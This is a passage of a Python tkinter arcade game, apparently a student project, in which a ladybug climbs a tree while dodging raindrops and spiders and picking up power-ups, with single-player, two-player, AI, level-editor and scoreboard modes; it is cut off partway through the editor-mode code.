data) def timerFiredWrapper(canvas, data): timerFired(data) redrawAllWrapper(canvas, data) # pause, then call timerFired again canvas.after(data.timerDelay, timerFiredWrapper, canvas, data) # Set up data and call init class Struct(object): pass data = Struct() data.width = width data.height = height data.timerDelay = 100 # milliseconds # create the root and the canvas root = Tk() init(data) canvas = Canvas(root, width=data.width, height=data.height) canvas.pack() # set up events root.bind("<Button-1>", lambda event: mousePressedWrapper(event, canvas, data)) root.bind("<Key>", lambda event: keyPressedWrapper(event, canvas, data)) timerFiredWrapper(canvas, data) # and launch the app root.mainloop() # blocks until window is closed print("bye!") run(1000, 1000)
[ "#Arushi Patel (aruship)\r\nfrom tkinter import *\r\nimport random\r\n\r\n######################################\r\n#images taken from wikipedia,pixabay,\r\n#trans americas, clipartpanda,pngimg,\r\n#findicons, microsoft word\r\n######################################\r\n\r\n####################################\r\n# init\r\n####################################\r\ndef init(data):\r\n data.score =0\r\n data.mode = \"splashScreen\"\r\n data.timerDelay = 100\r\n data.height = 800\r\n data.width = 800\r\n data.speed = 10\r\n data.speedAI = 12\r\n data.speedAI2 = 12\r\n data.switchOnProgress = False\r\n data.r = 25\r\n data.cx= 280\r\n data.cy=750\r\n data.onLeft1, data.onLeft2 = True, True\r\n data.win= False\r\n data.coconuts = []\r\n data.powerUps = []\r\n data.coconuts1 = []\r\n data.coconuts2 = []\r\n data.coconutsAI1 =[]\r\n data.coconutsAI2 = []\r\n data.invincible = []\r\n data.pauseDrops = False\r\n data.pause1Drop = False\r\n data.pause2Drop = False\r\n init1(data)\r\n\r\ndef init1(data):\r\n data.beInvincible = False\r\n data.Invincible1 = False\r\n data.Invincible2 = False\r\n data.scaryBug = []\r\n data.time = 0\r\n data.coconutFall = False\r\n data.sides = [\"r\", \"l\"]\r\n data.level = 1\r\n data.splashScreenTime = 0\r\n data.splashScreenDrops = []\r\n data.background= PhotoImage(file=\"tree.gif\")\r\n data.deadScreen = PhotoImage(file = \"deadBug.gif\")\r\n data.ladyBug = PhotoImage(file = \"lady.gif\")\r\n data.winScreen= PhotoImage(file = \"treeTop1.gif\")\r\n data.winBug = PhotoImage(file = \"littleBug.gif\")\r\n data.halfBackground = PhotoImage(file = \"halfTree.gif\")\r\n data.umbrella = PhotoImage(file = \"umbrella2.gif\")\r\n data.spider = PhotoImage(file = \"spider.gif\")\r\n data.hourGlass = PhotoImage(file = \"hourGlass.gif\")\r\n data.splashScreen = PhotoImage(file = \"splash.gif\")\r\n init2(data)\r\n\r\ndef init2(data):\r\n data.tbg= PhotoImage(file = \"tbg2.gif\")\r\n data.click = PhotoImage(file = \"click.gif\")\r\n data.notClick = PhotoImage(file = \"notClick.gif\")\r\n data.player1X = 150\r\n data.player1Y = 750\r\n data.player2X = 550\r\n data.player2Y = 750\r\n data.winner = None\r\n data.speed = 12\r\n data.speed2 = 12\r\n data.editorTime = 0\r\n data.editorDrops = []\r\n data.margin = 100\r\n data.enter = False\r\n data.powerUpsEditor = None\r\n data.yourSpeed = None\r\n data.rainSpeed = None\r\n data.slow= data.notClick\r\n data.medium = data.notClick\r\n data.fast = data.notClick\r\n data.drizzle = data.notClick\r\n data.rain =data.notClick\r\n data.thunderstorm = data.notClick\r\n init3(data)\r\n\r\ndef init3(data):\r\n data.yes = data.notClick\r\n data.no = data.notClick\r\n data.enter = data.notClick\r\n data.levelEditorLives =2\r\n data.rSpeed = None\r\n data.start = None\r\n data.start1 = None\r\n data.start2 = None\r\n data.difficulty = None\r\n data.mode1 = data.notClick\r\n data.mode2 = data.notClick\r\n data.mode3 = data.notClick\r\n data.mode4 = data.notClick\r\n data.mode5 = data.notClick\r\n data.mode6 = data.notClick\r\n data.home = PhotoImage(file = \"home.gif\")\r\n data.helpScreen = PhotoImage(file = \"help1.gif\")\r\n data.title = PhotoImage(file = \"title.gif\")\r\n data.scoreList = []\r\n data.spotList = [270,364,458,552, 646, 740]\r\n data.savedScores = readFile(\"score.txt\")\r\n if data.mode == \"levelCreated\":\r\n setEverything(data)\r\n initsplashScreenNumbers(data)\r\n\r\ndef initsplashScreenNumbers(data):\r\n data.splashButtonY = 425\r\n data.p1ButtonX= 225\r\n data.p2ButtonX = 290\r\n data.edButton = 355\r\n data.diffButton = 425\r\n data.helpButton = 490\r\n data.sboardButton = 555\r\n data.hitPenalty = 75\r\n data.splashText = data.height/2-20\r\n data.lives = 2\r\n data.levelMax = 8\r\n data.lane = 94\r\n data.Player1Min= 270\r\n data.Player1Max = 740\r\n data.homeX =50\r\n data.homeY = 650\r\n initScoreBoardHelp(data)\r\n init1Player(data)\r\n\r\ndef initScoreBoardHelp(data):\r\n data.tbgY=5*data.height/12\r\n data.txtTScore = 150\r\n data.S_P = 220\r\n data.numScores = 5\r\n data.scorePos = data.height/10\r\n data.scoreShift = 270\r\n data.helpY = data.height/2-20\r\n data.name = \"\"\r\n data.printName = \"\"\r\n data.hit = False\r\n initAI(data)\r\n\r\ndef init1Player(data):\r\n data.buffer = 40\r\n\r\ndef initAI(data):\r\n data.AITY = 225\r\n data.easyX = 200\r\n data.easyY = 300\r\n data.medX =400\r\n data.hardX = 600\r\n data.enterY = 450\r\n data.difS = 4\r\n data.difM = 6\r\n data.difH = 8\r\n data.last = 500\r\n data.enterX = 575\r\n data.PUT = 450\r\n data.RST = 350\r\n data.YST = 250\r\n####################################\r\n# mode dispatcher\r\n####################################\r\n\r\ndef mousePressed(event, data):\r\n if (data.mode == \"splashScreen\"): splashScreenMousePressed(event, data)\r\n elif (data.mode == \"1Player\"): playerMousePressed(event, data)\r\n elif (data.mode == \"2Player\"): twoPlayerMousePressed(event, data)\r\n elif (data.mode == \"editor\"): editorMousePressed(event,data)\r\n elif (data.mode == \"levelCreated\"): levelCreatedMousePressed(event,data)\r\n elif (data.mode == \"AI\"): AIMousePressed(event, data)\r\n elif (data.mode == \"difficulty\"): difficultyMousePressed(event, data)\r\n elif (data.mode == \"scoreboard\"): scoreboardMousePressed(event, data)\r\n elif (data.mode == \"help\"): helpMousePressed(event, data)\r\n\r\ndef keyPressed(event, data):\r\n if (data.mode == \"splashScreen\"): splashKeyPressed(event, data)\r\n elif (data.mode == \"1Player\"):playerKeyPressed(event, data)\r\n elif (data.mode == \"2Player\"):twoPlayerKeyPressed(event, data)\r\n elif (data.mode == \"editor\"): editorKeyPressed(event, data)\r\n elif (data.mode == \"levelCreated\"): levelCreatedKeyPressed(event,data)\r\n elif (data.mode == \"AI\"): AIKeyPressed(event, data)\r\n elif (data.mode == \"difficulty\"): difficultyKeyPressed(event, data)\r\n elif (data.mode == \"scoreboard\"): scoreboardKeyPressed(event, data)\r\n elif (data.mode == \"help\"): helpKeyPressed(event, data)\r\n \r\ndef timerFired(data):\r\n if (data.mode == \"splashScreen\"): splashScreenTimerFired(data)\r\n elif (data.mode == \"1Player\"):playerTimerFired(data)\r\n elif (data.mode == \"2Player\"):twoPlayerTimerFired(data)\r\n elif (data.mode == \"editor\"): editorTimerFired(data)\r\n elif (data.mode == \"levelCreated\"): levelCreatedTimerFired(data)\r\n elif (data.mode == \"AI\"): AITimerFired(data)\r\n elif (data.mode == \"difficulty\"): difficultyTimerFired(data)\r\n elif (data.mode == \"scoreboard\"): scoreboardTimerFired(data)\r\n elif (data.mode == \"help\"): helpTimerFired(data)\r\n\r\ndef redrawAll(canvas, data):\r\n if (data.mode == \"splashScreen\"): splashScreenRedrawAll(canvas, data)\r\n elif (data.mode == \"1Player\"):playerRedrawAll(canvas, data)\r\n elif (data.mode == \"2Player\"):twoPlayerRedrawAll(canvas, data)\r\n elif (data.mode == \"editor\"): editorRedrawAll(canvas, data)\r\n elif (data.mode == \"levelCreated\"): levelCreatedRedrawAll(canvas,data)\r\n elif (data.mode == \"AI\"): AIRedrawAll(canvas, data)\r\n elif (data.mode == \"difficulty\"): difficultyRedrawAll(canvas, data)\r\n elif (data.mode == \"scoreboard\"): scoreboardRedrawAll(canvas, data)\r\n elif (data.mode == \"help\"): helpRedrawAll(canvas, data)\r\n\r\n####################################\r\n# splashScreen mode\r\n####################################\r\ndef splashScreenMousePressed(event, data):\r\n #checks for selection of mode\r\n if data.splashButtonY-2*data.r <= event.x <=data.splashButtonY+2*data.r:\r\n if data.p1ButtonX-data.r<=event.y<=data.p1ButtonX+data.r:\r\n data.mode = \"1Player\"\r\n if data.p2ButtonX-data.r<=event.y<=data.p2ButtonX+data.r:\r\n data.mode = \"2Player\"\r\n if data.edButton-data.r<=event.y<=data.edButton+data.r:\r\n data.mode = \"editor\"\r\n if data.diffButton-data.r<=event.y<=data.diffButton+data.r:\r\n data.mode = \"difficulty\"\r\n if data.helpButton-data.r<=event.y<=data.helpButton+data.r:\r\n data.mode = \"help\"\r\n if data.sboardButton-data.r<=event.y<=data.sboardButton+data.r:\r\n data.mode = \"scoreboard\"\r\n\r\ndef splashKeyPressed(event, data):\r\n pass\r\n\r\n\r\ndef splashScreenTimerFired(data):\r\n data.splashScreenTime += 1\r\n if data.splashScreenTime %2 ==1:\r\n rainDropSplash(data)\r\n for drop in data.splashScreenDrops:\r\n drop.onTimerFired(data)\r\n\r\ndef splashScreenButtons(canvas, data):\r\n canvas.create_image(data.splashButtonY,data.p1ButtonX,image = data.mode1)\r\n canvas.create_image(data.splashButtonY,data.p2ButtonX,image = data.mode2)\r\n canvas.create_image(data.splashButtonY,data.edButton,image = data.mode3)\r\n canvas.create_image(data.splashButtonY,data.diffButton,image = data.mode4)\r\n canvas.create_image(data.splashButtonY,data.helpButton,image = data.mode5)\r\n canvas.create_image(data.splashButtonY,data.sboardButton,image =data.mode6)\r\n \r\ndef rainDropSplash(data):\r\n xPosition = random.randint(0,800)\r\n data.splashScreenDrops.append(Coconuts(xPosition,0))\r\n\r\ndef splashScreenRedrawAll(canvas, data):\r\n canvas.create_image(data.width/2, data.splashText-10, image=data.title)\r\n for drop in data.splashScreenDrops: drop.draw(canvas)\r\n canvas.create_text(data.width/2, data.splashText, text=\"\"\"\r\n 1.) Single Player Level Mode\r\n\r\n\r\n 2.) Two-Player Mode\r\n\r\n \r\n 3.) Level Creator Practice Mode\r\n\r\n \r\n 4.) Play Against the Computer\r\n\r\n \r\n 5.) Help and Instructions\r\n\r\n \r\n 6.) Scoreboard\r\n\r\n \r\n \"\"\", font=\"Arial 14 bold\", fill = \"yellow\")\r\n splashScreenButtons(canvas, data)\r\n\r\n####################################\r\n# taken from class notes\r\n####################################\r\n\r\ndef writeFile(path, contents):\r\n with open(path, \"wt\") as f:\r\n f.write(contents)\r\n\r\ndef readFile(path):\r\n with open(path, \"rt\") as f:\r\n return f.read()\r\n\r\n####################################\r\n# 1Player mode\r\n####################################\r\n\r\n\r\n#Coconuts (from Mario game) represent the water drops\r\nclass Coconuts(object):\r\n def __init__(self,x,y):\r\n self.x = x\r\n self.y = y\r\n self.r = 9\r\n self.fill = \"deep sky blue\"\r\n self.speed = 30\r\n self.outline= \"blue\"\r\n\r\n def draw(self, canvas):\r\n canvas.create_polygon(self.x,self.y- 2*self.r,\r\n self.x-self.r, self.y,\r\n self.x, self.y + self.r,\r\n self.x+self.r, self.y, fill = self.fill,\r\n outline = self.outline, width = 3)\r\n\r\n def onTimerFired(self, data):\r\n # downward falling motion\r\n self.y += self.speed\r\n \r\ndef hit(data):\r\n #checks for hitting rain\r\n for coconut in data.coconuts:\r\n if data.mode == \"1Player\" or data.mode == \"levelCreated\":\r\n if coconut.y>=data.cy-data.r and coconut.y<=data.cy+data.r:\r\n if coconut.x>=data.cx-data.r and coconut.x<=data.cx+data.r:\r\n data.cy+=data.hitPenalty\r\n if data.mode == \"levelCreated\":\r\n data.lives-=1\r\n elif data.hit ==False and data.level<data.levelMax:\r\n data.score -=data.level\r\n data.coconuts.remove(coconut)\r\n if data.mode == \"levelCreated\":\r\n data.levelEditorLives-=1\r\n\r\n \r\ndef hit2Player(data):\r\n if data.mode == \"2Player\":\r\n if data.Invincible1 == False:\r\n #only when powerup isn't active\r\n for coconut in data.coconuts1:\r\n if coconut.y>=data.player1Y-data.r \\\r\n and coconut.y<=data.player1Y+data.r:\r\n if coconut.x>=data.player1X-data.r and \\\r\n coconut.x<=data.player1X+data.r:\r\n data.player1Y+=data.hitPenalty \r\n data.coconuts1.remove(coconut)\r\n if data.Invincible2 == False:\r\n #only when powerup isn't active\r\n for coconut in data.coconuts2:\r\n if coconut.y>=data.player2Y-data.r and \\\r\n coconut.y<=data.player2Y+data.r:\r\n if coconut.x>=data.player2X-data.r and \\\r\n coconut.x<=data.player2X+data.r:\r\n data.player2Y+=data.hitPenalty \r\n data.coconuts2.remove(coconut)\r\n\r\n\r\nclass PowerUps(Coconuts):\r\n def __init__(self,x,y):\r\n super().__init__(x, y)\r\n\r\n def draw(self, canvas, data):\r\n canvas.create_image(self.x, self.y, image=data.hourGlass)\r\n \r\ndef hitPause(data):\r\n # checks if hits hour-glass & pauses with flag\r\n for powerUp in data.powerUps:\r\n if data.mode == \"1Player\" or data.mode == \"levelCreated\":\r\n if powerUp.y>=data.cy-data.r and powerUp.y<=data.cy+data.r:\r\n if powerUp.x>=data.cx-data.r and powerUp.x<=data.cx+data.r:\r\n data.pauseDrops = True\r\n data.start = data.cy\r\n data.powerUps.remove(powerUp)\r\n elif data.mode == \"2Player\" or data.mode == \"AI\":\r\n if powerUp.y>=data.player1Y-data.r and \\\r\n powerUp.y<=data.player1Y+data.r:\r\n if powerUp.x>=data.player1X-data.r and \\\r\n powerUp.x<=data.player1X+data.r:\r\n data.pause1Drop = True\r\n data.start1 = data.player1Y\r\n data.powerUps.remove(powerUp)\r\n if powerUp.y>=data.player2Y-data.r and \\\r\n powerUp.y<=data.player2Y+data.r:\r\n if powerUp.x>=data.player2X-data.r and \\\r\n powerUp.x<=data.player2X+data.r:\r\n data.pause2Drop = True\r\n data.start2 = data.player2Y\r\n data.powerUps.remove(powerUp)\r\n \r\n\r\nclass Invincible(PowerUps):\r\n def __init__(self,x,y):\r\n super().__init__(x, y)\r\n \r\n def draw(self, canvas, data):\r\n canvas.create_image(self.x, self.y, image=data.umbrella)\r\n\r\ndef hitInvincible(data):\r\n #checks if hits umbrella powerup\r\n for powerUp in data.invincible:\r\n if data.mode == \"1Player\" or data.mode == \"levelCreated\":\r\n if powerUp.y>=data.cy-data.r and powerUp.y<=data.cy+data.r:\r\n if powerUp.x>=data.cx-data.r and powerUp.x<=data.cx+data.r:\r\n data.beInvincible = True\r\n data.start = data.cy\r\n data.invincible.remove(powerUp)\r\n if data.mode == \"2Player\" or data.mode == \"AI\":\r\n #for player1\r\n if powerUp.y>=data.player1Y-data.r and \\\r\n powerUp.y<=data.player1Y+data.r:\r\n if powerUp.x>=data.player1X-data.r and \\\r\n powerUp.x<=data.player1X+data.r:\r\n data.Invincible1=True\r\n data.start1 = data.player1Y\r\n data.invincible.remove(powerUp)\r\n # for player 2\r\n if powerUp.y>=data.player2Y-data.r and \\\r\n powerUp.y<=data.player2Y+data.r:\r\n if powerUp.x>=data.player2X-data.r and \\\r\n powerUp.x<=data.player2X+data.r:\r\n data.Invincible2=True\r\n data.start2 = data.player2Y\r\n data.invincible.remove(powerUp)\r\n \r\nclass ScaryBug(object):\r\n def __init__(self,x,y):\r\n self.x = x\r\n self.y = y\r\n self.speed = 25\r\n\r\n def draw(self, canvas, data):\r\n canvas.create_image(self.x, self.y, image=data.spider)\r\n\r\n def onTimerFired(self, data):\r\n if data.mode ==\"2Player\" or data.mode == \"AI\":\r\n self.speed = 35\r\n self.y -= self.speed\r\n if data.mode == \"1Player\" or data.mode == \"levelCreated\" and\\\r\n data.time %8 ==0:\r\n #makes spider dynamically move\r\n side = random.choice(data.sides)\r\n if side == \"l\":\r\n if self.x -data.lane >=data.Player1Min:self.x-=data.lane\r\n else: self.x+=data.lane\r\n elif side == \"r\":\r\n if self.x+data.lane<= data.Player1Max:self.x +=data.lane\r\n else: self.x -=data.lane\r\n \r\n \r\n \r\ndef hitScaryBug(data):\r\n # checks for automatic death by spider\r\n for bug in data.scaryBug:\r\n if data.mode == \"1Player\" or data.mode == \"levelCreated\":\r\n if bug.y>=data.cy-1.5*data.r and bug.y<=data.cy+1.5*data.r:\r\n if bug.x>=data.cx-1.5*data.r and bug.x<=data.cx+1.5*data.r:\r\n data.hit = True\r\n data.lives = 0\r\n data.levelEditorLives = 0\r\n if data.mode == \"2Player\" or data.mode == \"AI\":\r\n if bug.y>=data.player1Y-data.r and bug.y<=data.player1Y+data.r:\r\n if bug.x>=data.player1X-data.r and bug.x<=data.player1X+data.r:\r\n data.winner= \"player2\"\r\n if bug.y>=data.player2Y-data.r and bug.y<=data.player2Y+data.r:\r\n if bug.x>=data.player2X-data.r and bug.x<=data.player2X+data.r:\r\n data.winner= \"player1\"\r\n\r\ndef drawPowerups(canvas, data):\r\n for bug in data.scaryBug:\r\n bug.draw(canvas, data)\r\n for powerUp in data.powerUps:\r\n powerUp.draw(canvas, data)\r\n for powerUp in data.invincible:\r\n powerUp.draw(canvas, data)\r\n\r\ndef drawHome(canvas, data):\r\n #home button in every screen\r\n canvas.create_image(data.homeX,data.homeY, image= data.home)\r\n\r\ndef checkHome(event, data):\r\n if data.homeY-data.r<= event.y <= data.homeY +data.r:\r\n if data.homeX-data.r<= event.x<=data.homeX+ data.r:\r\n init(data)\r\n \r\ndef coconutShot(data):\r\n if data.level >0 and data.pauseDrops == False:\r\n if data.time%int(data.levelMax/data.level) == 0 or data.time%6==0:\r\n #increases drops as level increases\r\n xPosition1 = random.randint(0,data.Player1Min-data.buffer)\r\n xPosition2 = random.randint(data.Player1Max+data.buffer,\r\n data.width +data.buffer)\r\n data.coconuts.append(Coconuts(xPosition1,0))\r\n data.coconuts.append(Coconuts(xPosition2,0))\r\n xPosition4 = random.randint(data.Player1Min-data.buffer,\r\n data.Player1Max+data.buffer)\r\n data.coconuts.append(Coconuts(xPosition4,0))\r\n if data.time %5 ==0:\r\n xPosition3 = random.randint(0, data.Player1Min-data.buffer)\r\n data.coconuts.append(Coconuts(xPosition3,0))\r\n if data.time % int(24/data.level) ==0:\r\n side = random.choice(data.sides)\r\n if side == \"l\": \r\n data.coconuts.append(Coconuts(data.Player1Min,0))\r\n elif side ==\"r\":\r\n data.coconuts.append(Coconuts(data.Player1Max,0))\r\n powerUpCoconutShot(data)\r\n \r\ndef powerUpCoconutShot(data):\r\n #adds powerUps\r\n #magic #s toallow for powerups to be added at different times\r\n if data.time % 60 == 0 and data.time%120 !=0:\r\n Position = random.choice(data.spotList)\r\n data.powerUps.append(PowerUps(Position,0))\r\n if data.time%50 == 0:\r\n Position = random.choice(data.spotList)\r\n data.invincible.append(Invincible(Position,0))\r\n if data.time %100==0:\r\n Position = random.choice(data.spotList)\r\n data.scaryBug.append(ScaryBug(Position,750))\r\n\r\ndef playerKeyPressed(event,data):\r\n if data.level<data.levelMax and event.keysym == \"r\": init(data)\r\n if (event.keysym == \"Left\") and data.cx>=data.Player1Min+(data.lane/2):\r\n data.cx -=(data.lane)/2\r\n elif(event.keysym == \"Right\") and data.cx<=data.Player1Max:\r\n data.cx +=(data.lane)/2\r\n if data.level >= data.levelMax:\r\n #enter name for scoreboard\r\n if len(event.keysym) ==1:\r\n if len(data.name) <15:\r\n data.name += event.keysym\r\n if event.keysym==\"BackSpace\":\r\n data.name = data.name[0:-1]\r\n if event.keysym == \"Return\":\r\n data.scoreList += ((data.score, data.name))\r\n #saves file\r\n writeFile(\"score.txt\",\r\n data.savedScores+str(data.score)+\",\"+data.name+\"\\n\")\r\n data.mode =\"scoreboard\"\r\n \r\n\r\ndef playerMousePressed(event, data): checkHome(event, data)\r\n\r\ndef playerTimerFired(data):\r\n #actually pauses, and moves drops/player\r\n if data.hit== False and data.level<data.levelMax:\r\n data.cy-=data.speed\r\n if data.time%5 ==0: data.score +=data.level\r\n if data.cy < 15: #basically made it to the top\r\n data.level +=1\r\n data.cy = data.Player1Max + 10\r\n data.speed +=2\r\n if data.cy>40: #so drops you can't see don't hit you\r\n data.time +=1\r\n if data.pauseDrops !=True: coconutShot(data)\r\n for powerUp in data.powerUps: powerUp.onTimerFired(data)\r\n hitPause(data)\r\n for powerUp in data.invincible: powerUp.onTimerFired(data)\r\n hitInvincible(data)\r\n for bug in data.scaryBug: bug.onTimerFired(data)\r\n hitScaryBug(data)\r\n for coconut in data.coconuts:\r\n # only want drops to move if not paused\r\n if data.pauseDrops == False: coconut.onTimerFired(data)\r\n if data.beInvincible == False:hit(data)\r\n if data.start != None:\r\n if abs(data.start-data.cy) >= 120:\r\n #to limit time for powerups to be active\r\n data.pauseDrops, data.beInvincible = False, False\r\n\r\ndef playerRedrawAll(canvas, data):\r\n # magic #s mainly for screen placement\r\n canvas.create_image(data.width/2, data.height/2, image=data.background)\r\n canvas.create_line(0,20, data.width, 20)\r\n for coconut in data.coconuts: coconut.draw(canvas)\r\n drawPowerups(canvas, data)\r\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\r\n canvas.create_text(data.width/6,50, text =\"Level: %d\" %data.level,\r\n font = \"Arial 18 bold\", fill = \"yellow\")\r\n canvas.create_text(data.width/6,80, text =\"Score: %d\" %data.score,\r\n font = \"Arial 18 bold\", fill = \"yellow\")\r\n canvas.create_text(2*data.width/3,660,\r\n text =\"\"\"The greater the level, the more points get\r\n added to your score!\"\"\",\r\n font = \"Arial 15 bold\", fill = \"yellow\")\r\n if data.hit== True:\r\n canvas.create_rectangle(0,0,data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.deadScreen)\r\n canvas.create_text(data.width/2,data.height/4,\r\n text = \"You Lose! Better Luck Next Time!\",\r\n font = \"Helvetica 23 bold\", fill = \"yellow\")\r\n canvas.create_text(data.width/2,280, text =\"Score: %d\" %data.score,\r\n font = \"Arial 13 bold\", fill = \"yellow\")\r\n if data.level >= 8: madeIt(canvas, data)\r\n drawHome(canvas, data)\r\n\r\ndef madeIt(canvas, data):# magic #s mainly for screen placement\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.winScreen)\r\n canvas.create_image(300, 320, image=data.winBug)\r\n canvas.create_text(data.width/2,70, text = \"You Made it!\",\r\n font = \"Arial 23 bold\", fill = \"yellow\")\r\n canvas.create_text(data.width/2,100, text =\"Score: %d\" %data.score,\r\n font = \"Arial 15 bold\", fill = \"yellow\")\r\n canvas.create_text(data.width/2,375, text =\"Congrats! Enter your Name!\",\r\n font = \"Arial 15 bold\", fill = \"yellow\")\r\n canvas.create_rectangle(data.width/2 - 50, 400, data.width/2+50, 450,\r\n fill = \"white\")\r\n canvas.create_text(data.width/2, 425, text = data.name)\r\n \r\n \r\n####################################\r\n# 2Player mode\r\n#################################### \r\ndef drop2Player(data):\r\n #adds drops when not paused\r\n #magic #s are position of where drops are starting\r\n if data.winner ==None and data.pauseDrops == False:\r\n if data.time%15==0:\r\n xPosition1 = random.randint(0,385)\r\n if abs(xPosition1 - 100)>25 and abs(xPosition1 - 360)>25:\r\n #so random drops don't interfere with the lane ones\r\n if data.pause1Drop != True:\r\n data.coconuts1.append(Coconuts(xPosition1,0))\r\n if data.pause2Drop != True:\r\n data.coconuts2.append(Coconuts(xPosition1 +410,0))\r\n if data.time % 12 ==0:\r\n side = random.choice(data.sides)\r\n if side == \"l\":\r\n if data.pause1Drop != True:\r\n data.coconuts1.append(Coconuts(140,0))\r\n if data.pause2Drop != True:\r\n data.coconuts2.append(Coconuts(540,0))\r\n elif side ==\"r\":\r\n if data.pause1Drop !=True:data.coconuts1.append(Coconuts(344,0))\r\n if data.pause2Drop!=True:data.coconuts2.append(Coconuts(755,0))\r\n powerupDrop2Player(data)\r\n\r\ndef powerupDrop2Player(data):\r\n #adds powerups on both screens (in the same position)\r\n if data.time % 45 == 0 and data.time%90 !=0:\r\n #randomize placement\r\n side = random.choice(data.sides)\r\n if side == \"l\":\r\n if data.pause1Drop!=True:data.powerUps.append(PowerUps(140,0))\r\n if data.pause2Drop!=True:data.powerUps.append(PowerUps(540,0))\r\n elif side ==\"r\":\r\n if data.pause1Drop!=True:data.powerUps.append(PowerUps(344,0))\r\n if data.pause2Drop!=True:data.powerUps.append(PowerUps(755,0))\r\n if data.time%60 == 0:\r\n side = random.choice(data.sides)\r\n if side == \"l\": \r\n if data.pause1Drop!=True:data.invincible.append(Invincible(140,0))\r\n if data.pause2Drop!=True:data.invincible.append(Invincible(540,0))\r\n elif side ==\"r\":\r\n if data.pause1Drop!=True:data.invincible.append(Invincible(344,0))\r\n if data.pause2Drop!=True:data.invincible.append(Invincible(755,0))\r\n if data.time %90==0:\r\n side = random.choice(data.sides)\r\n if side == \"l\": \r\n data.scaryBug.append(ScaryBug(140,750))\r\n data.scaryBug.append(ScaryBug(540,750))\r\n elif side ==\"r\":\r\n data.scaryBug.append(ScaryBug(344,750))\r\n data.scaryBug.append(ScaryBug(755,750))\r\n \r\ndef twoPlayerKeyPressed(event,data):\r\n # controllers for both bugs\r\n if event.keysym == \"r\": init(data)\r\n if data.winner==None:\r\n if (event.keysym == \"a\") and data.onLeft1==False:\r\n data.onLeft1 = True\r\n data.player1X = 150\r\n if(event.keysym == \"d\") and data.onLeft1== True:\r\n data.onLeft1 = False\r\n data.player1X = 330\r\n if (event.keysym == \"Left\") and data.onLeft2==False:\r\n data.onLeft2 = True\r\n data.player2X = 550\r\n if(event.keysym == \"Right\") and data.onLeft2 == True:\r\n data.onLeft2 = False\r\n data.player2X = 750\r\n\r\ndef twoPlayerMousePressed(event, data):\r\n checkHome(event, data)\r\n \r\ndef twoPlayerTimerFired(data):\r\n if data.winner == None:\r\n data.player1Y-=data.speed\r\n #<15 signifies that lady bug reached the top\r\n if data.player1Y < 15 and data.player2Y >15:\r\n data.winner= \"player1\"\r\n if data.player1Y>40:\r\n data.time +=1\r\n drop2Player(data)\r\n data.player2Y-=data.speed\r\n if data.player2Y < 15 and data.player1Y> 15:\r\n data.winner= \"player2\"\r\n if data.player2Y>40:\r\n data.time +=1\r\n drop2Player(data)\r\n if data.player1Y < 15 and data.player2Y <15:\r\n data.winner = \"tie\"\r\n for powerUp in data.powerUps: powerUp.onTimerFired(data)\r\n hitPause(data)\r\n for powerUp in data.invincible:powerUp.onTimerFired(data)\r\n hitInvincible(data)\r\n for bug in data.scaryBug:bug.onTimerFired(data)\r\n hitScaryBug(data)\r\n powerupTimerFired(data)\r\n\r\ndef powerupTimerFired(data):\r\n for coconut in data.coconuts1:\r\n if data.pause1Drop == False:\r\n coconut.onTimerFired(data)\r\n hit2Player(data)\r\n for coconut in data.coconuts2:\r\n if data.pause2Drop == False:\r\n coconut.onTimerFired(data) \r\n if data.start1 != None:\r\n # to make powerups only active for set amount of time\r\n if abs(data.start1-data.player1Y) >= 120:\r\n data.pause1Drop = False\r\n data.Invincible1 = False\r\n if data.start2 != None:\r\n if abs(data.start2-data.player2Y) >= 120:\r\n data.pause2Drop = False\r\n data.Invincible2 = False\r\n \r\n\r\ndef twoPlayerRedrawAll(canvas, data):\r\n #magic #s for placement on screen\r\n canvas.create_image(data.width/4, data.height/2, image=data.halfBackground)\r\n canvas.create_image(3*data.width/4, data.height/2,image=data.halfBackground)\r\n canvas.create_line(data.width/2, 0, data.width/2, data.height, width = 10)\r\n canvas.create_line(0,20, data.width, 20)\r\n for coconut in data.coconuts1: coconut.draw(canvas)\r\n for coconut in data.coconuts2: coconut.draw(canvas)\r\n drawPowerups(canvas, data)\r\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\r\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\r\n canvas.create_text(50,40, text = \"Player 1\",font = \"Arial 15 bold\",\r\n fill = \"yellow\")\r\n canvas.create_text(450,40, text = \"Player 2\",font = \"Arial 15 bold\",\r\n fill = \"yellow\")\r\n winner(canvas, data)\r\n drawHome(canvas, data)\r\n\r\ndef winner(canvas, data):\r\n if data.winner== \"player1\":\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.winScreen)\r\n canvas.create_image(300, 320, image=data.winBug)\r\n canvas.create_text(data.width/2,100, text = \"You Made it! Player 1\",\r\n font = \"Arial 23 bold\", fill = \"yellow\")\r\n elif data.winner== \"player2\":\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.winScreen)\r\n canvas.create_image(300, 320, image=data.winBug)\r\n canvas.create_text(data.width/2,100, text = \"You Made it! Player 2\",\r\n font = \"Arial 23 bold\", fill = \"yellow\")\r\n elif data.winner== \"tie\":\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.winScreen)\r\n canvas.create_image(300, 320, image=data.winBug)\r\n canvas.create_text(data.width/2,100, text = \"Tie! You Both Made it!\",\r\n font = \"Arial 23 bold\", fill = \"yellow\")\r\n\r\n####################################\r\n# editor mode\r\n####################################\r\n\r\ndef editorKeyPressed(event,data):\r\n if event.keysym == \"r\": init(data)\r\n\r\ndef editorMousePressed(event, data):\r\n #check for click on button for your speed\r\n checkHome(event, data)\r\n if data.easyY-data.r<= event.y <= data.easyY +data.r:\r\n if data.easyX-2*data.r<= event.x<=data.easyX+2*data.r:\r\n data.yourSpeed = \"slow\"\r\n data.slow = data.click\r\n data.medium, data.fast = data.notClick, data.notClick\r\n if data.medX-2*data.r<= event.x<=data.medX+2*data.r:\r\n data.yourSpeed = \"medium\"\r\n data.medium = data.click\r\n data.slow, data.fast = data.notClick, data.notClick\r\n if data.hardX-2*data.r<= event.x<=data.hardX+2*data.r:\r\n data.yourSpeed = \"fast\"\r\n data.fast = data.click\r\n data.slow, data.medium = data.notClick, data.notClick\r\n checkMiddle(event, 